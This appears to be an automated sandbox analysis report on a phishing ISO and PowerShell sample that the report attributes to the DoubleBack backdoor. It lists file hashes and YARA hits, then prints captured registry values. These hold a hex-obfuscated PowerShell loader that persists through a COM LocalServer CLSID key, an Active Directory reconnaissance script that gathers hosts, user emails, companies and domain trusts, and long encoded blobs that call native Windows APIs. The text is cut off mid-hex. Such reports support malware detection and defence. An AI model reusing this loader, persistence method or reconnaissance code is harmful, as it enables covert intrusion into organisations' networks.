Overview
overview
10Static
static
Invoice-06-0922.iso
windows7_x64
3Invoice-06-0922.iso
windows10-2004_x64
31204.ps1
windows7_x64
11204.ps1
windows10-2004_x64
10Scan_314.jpg
windows7_x64
3Scan_314.jpg
windows10-2004_x64
3Scan_314.jpg.lnk
windows7_x64
3Scan_314.jpg.lnk
windows10-2004_x64
10x.txt
windows7_x64
1x.txt
windows10-2004_x64
1Analysis
-
max time kernel
96s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 20:53
Static task
static1
Behavioral task
behavioral1
Sample
Invoice-06-0922.iso
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Invoice-06-0922.iso
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
1204.ps1
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
1204.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
Scan_314.jpg
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
Scan_314.jpg
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
Scan_314.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
Scan_314.jpg.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
x.txt
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
x.txt
Resource
win10v2004-20220414-en
General
-
Target
1204.ps1
-
Size
296KB
-
MD5
8a6d292fdd55ddb97fd2df336f66cfbb
-
SHA1
348401596d0b44faf930787380e146cb5f57795f
-
SHA256
bac3ed96090fb8ceed04adef4857bb8fd50b49ed65655f688e06d207f2daa3b8
-
SHA512
c0dd1b85b19a2f969e4ad9948ef195ba7e5246ce5b45eb27b17c98accf9daf1004b595d3fa0f753cb98ebceb2e5b1bed6b22a31abd69e1467d0b78b3b1374055
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral4/memory/3896-137-0x000001423E050000-0x000001423E05A000-memory.dmp family_doubleback_x64 behavioral4/memory/3896-138-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/1064-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/1064-143-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 7 3896 powershell.exe 35 1064 msiexec.exe 36 1064 msiexec.exe 37 1064 msiexec.exe -
Modifies registry class 25 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('247970727A7867643D2730333030273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30463033303730432D303430362D303530452D303031312D3133303830393031303330307D5C50726F67494427292E247970727A78676429297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\CLSID\3154 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1204.ps1" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{030F0D10-0707-0404-0202-040507030601}\CLSID\ = "{0F03070C-0406-050E-0011-130809010300}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0F0F00-0702-090E-0012-070D11040313}\ = "{030F0D10-0707-0404-0202-040507030601}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\ProgID powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F03070C-0406-050E-0011-130809010300}\ProgID\0300 = 66756e6374696f6e206672367b706172616d28247270332c247478392c24646e32292028656f3620273234374136393332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343741364433363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343741363933323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234374136393332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234374136443336324332343732373033333239323927297c2628247073686f6d655b3132332d3131395d2b247073686f6d655b3231342d3138305d2b277827297d66756e6374696f6e206a6c387b706172616d282464693529282d6a6f696e2824646935202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207870347b706172616d28247976372c246d6e31292028646134202732343635373833333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343635373833333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343739373633373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343635373833333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436443645333132433234373937363337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363537383333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133392d3133355d2b247073686f6d655b3138392d3135355d2b277827297d66756e6374696f6e207a6a347b706172616d28247079302c247164312c246c76312920286a7437202732343735363733323344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034363330333333303337333034333244333033343330333632443330333533303435324433303330333133313244333133333330333833303339333033313330333333303330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330343633303333323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333034363330333332373342323436443639333133443238323437353637333235423333333235443242323832383238333133383242323833313336324433313239323932393239323933423230323437413631333633443234373536373332354232343644363933313245324532383234364436393331324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437413631333632393342323437353637333233443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343633303333333033373330343332443330333433303336324433303335333034353244333033303331333132443331333333303338333033393330333133303333333033303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303333333033303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333333303330323733423234364436393331334437423230323436333732333933443330324532453332333533353342333032453245333233353335374332353742323032343635363733383344323832343635363733383242323436333732333935423234354635443242323437413631333635423234354632353234374136313336324534433635364536373734363835443239323532383331333733303242333833363239334232303234363337323339354232343546354432433234363337323339354232343635363733383544334432343633373233393542323436353637333835443243323436333732333935423234354635443230374432303342323437353637333237433235374232343641373033313344323832343641373033313242333132393235323832383335333832423331333933383239323933423230323436343644333133443238323436343644333132423234363337323339354232343641373033313544323932353238333333353338324432383238333932423332333732393242333633363239323933423230323436333732333935423234364137303331354432433234363337323339354232343634364433313544334432343633373233393542323436343644333135443243323436333732333935423234364137303331354433423234354632443632373836463732323436333732333935423238323436333732333935423234364137303331354432423234363337323339354232343634364433313544323932353238323833313338324233393332323932423331333433363239354432303744323037443230334232343633373333363230334432303238323632303234364436393331374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646373232383234364137303331334433303342323436413730333132303244364337343230323436333733333632453443363536453637373436383342323436413730333132423344333232393742323035423633364636453736363537323734354433413341353436463432373937343635323832343633373333363245353337353632373337343732363936453637323832343641373033313243333232393243323833323337324432383331333132423330323932393239323037443239323927297c2628247073686f6d655b3134342d3134305d2b247073686f6d655b3136392d3133355d2b277827297d66756e6374696f6e206a6e327b706172616d28247a6b352c24696b31292028686934202732343636374133363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343636374133363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343741364233353239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343636374133363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436393642333132433234374136423335323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363637413336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131302d3130365d2b247073686f6d655b3139342d3136305d2b277827297d66756e6374696f6e206679337b706172616d28246469352c247668322c247775392920286a6c38202732343739373833313344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034363330333333303337333034333244333033343330333632443330333533303435324433303330333133313244333133333330333833303339333033313330333333303330374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330343633303333323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333034363330333332373342323436363645333733443238323437393738333135423333333235443242323832383238333133383242323833313336324433313239323932393239323933423230323436383644333133443234373937383331354232343636364533373245324532383234363636453337324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436383644333132393342323437393738333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343633303333333033373330343332443330333433303336324433303335333034353244333033303331333132443331333333303338333033393330333133303333333033303744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303333333033303237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333333303330323733423234363636453337334437423230323436413636333733443330324532453332333533353342333032453245333233353335374332353742323032343734373133353344323832343734373133353242323436413636333735423234354635443242323436383644333135423234354632353234363836443331324534433635364536373734363835443239323532383331333733303242333833363239334232303234364136363337354232343546354432433234364136363337354232343734373133353544334432343641363633373542323437343731333535443243323436413636333735423234354635443230374432303342323437393738333137433235374232343741373533393344323832343741373533393242333132393235323832383335333832423331333933383239323933423230323436433736333833443238323436433736333832423234364136363337354232343741373533393544323932353238333333353338324432383238333932423332333732393242333633363239323933423230323436413636333735423234374137353339354432433234364136363337354232343643373633383544334432343641363633373542323436433736333835443243323436413636333735423234374137353339354433423234354632443632373836463732323436413636333735423238323436413636333735423234374137353339354432423234364136363337354232343643373633383544323932353238323833313338324233393332323932423331333433363239354432303744323037443230334232343631373933343230334432303238323632303234363636453337374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646373232383234374137353339334433303342323437413735333932303244364337343230323436313739333432453443363536453637373436383342323437413735333932423344333232393742323035423633364636453736363537323734354433413341353436463432373937343635323832343631373933343245353337353632373337343732363936453637323832343741373533393243333232393243323833323337324432383331333132423330323932393239323037443239323927297c2628247073686f6d655b3137312d3136375d2b247073686f6d655b3134352d3131315d2b277827297d2066756e6374696f6e20616e317b706172616d28246469352c247668322920286a6c38202732343646373833353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343646373833353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343634363933353239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343646373833353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437363638333232433234363436393335323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364637383335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131302d3130365d2b247073686f6d655b3134322d3130385d2b277827297d2066756e6374696f6e206a62307b706172616d28246469352920286a6c3820273234373037353332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343732373933373344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343730373533323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373037353332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373237393337324332343634363933353239323927297c2628247073686f6d655b3130392d3130355d2b247073686f6d655b3233322d3139385d2b277827297d66756e6374696f6e207a73387b706172616d28246b7a3229202871663520273234373136373335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343732363333363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343731363733353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373136373335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373236333336324332343642374133323239323927297c2628247073686f6d655b3136302d3135365d2b247073686f6d655b3138352d3135315d2b277827297d66756e6374696f6e207a77387b706172616d28246b6f322c247971382c247a7431292028796d3020273234364537303335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343641364633383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343645373033353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364537303335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364136463338324332343642364633323239323927297c2628247073686f6d655b3139362d3139325d2b247073686f6d655b3232332d3138395d2b277827297d247978313d6679332027646f6d77626561786e6b796769667a2720276b676d77696c7271767065616466687a272027796f626c78636a74656675677277696171273b66756e6374696f6e20796b377b706172616d2824766d312c247964312c246f6931292028636b36202732343633364433353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343633364433353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343736364433313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343633364433353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437393634333132433234373636443331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363336443335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138302d3137365d2b247073686f6d655b3231312d3137375d2b277827297d66756e6374696f6e20786b357b706172616d28247670322c246765302c246b6130292028637536202732343636373033383344323835423431373037303434364636443631363936453544334133413433373537323732363536453734343436463644363136393645324534373635373434313733373336353644363236433639363537333238323937433537363836353732363532443446363236413635363337343742323435463245343736433646363236313643343137333733363536443632364337393433363136333638363532303244363136453634323032343546324534433646363336313734363936463645324535333730364336393734323832373543354332373239354232443331354432453435373137353631364337333238323735333739373337343635364432453634364336433237323937443239324534373635373435343739373036353238323734443639363337323646373336463636373432453537363936453333333232453535364537333631363636353445363137343639373636353444363537343638364636343733323732393342323436433637333033443445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363238323834453635373732443446363236413635363337343230343936453734353037343732323932433238323436363730333832453437363537343444363537343638364636343238323734373635373434443646363437353643363534383631364536343643363532373239324534393645373636463642363532383330324334303238323736423635373236453635364333333332324536343643364332373239323932393239334232343636373033383245343736353734344436353734363836463634323832373437363537343530373236463633343136343634373236353733373332373243354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373